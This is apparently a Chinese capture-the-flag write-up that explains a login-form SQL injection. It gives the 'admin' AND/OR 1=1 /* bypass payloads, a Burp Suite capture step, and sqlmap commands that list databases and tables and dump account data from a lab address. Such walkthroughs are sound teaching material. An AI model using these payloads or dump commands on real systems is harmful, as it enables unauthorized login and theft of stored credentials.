原理
服務端后台存在類似的代碼
SELECT * FROM accounts WHERE username='admin' and password = 'password'
后端如果沒做校驗處理,username 和 password 值從前端傳進來直接執行sql語句,就存在可以構造惡意代碼。
如果在用戶名框內輸入"admin' AND 1=1 /*", 在密碼框內輸入任意字符串,那么后台執行的SQL就為
SELECT * FROM accounts WHERE username='admin' and 1=1 /*' and password = 'password'
這個有個前提條件是username是admin,如果不是amdin的話可以把and 換成 or
SELECT * FROM accounts WHERE username='admin' OR 1=1 /*' and password = 'password'
1、用任意用戶名和口令登陸並用burpsuite抓包
2、用戶名處使用萬能密碼登陸成功獲取flag(密碼不用輸了,因為后面的已經被注釋)
也可用sqlmap工具
sqlmap.py -u http://219.153.49.228:40363 --forms --dbs
本題還可以使用sqlmap進行注入
暴庫 sqlmap -u "http://ip/" --forms --dbs
爆表sqlmap -u "http://ip" --forms -d "數據庫名" --columns
爆賬戶sqlmap -u "ip" --forms -d "數據庫名" --dump
解密即可獲取用戶名密碼,登錄后得到key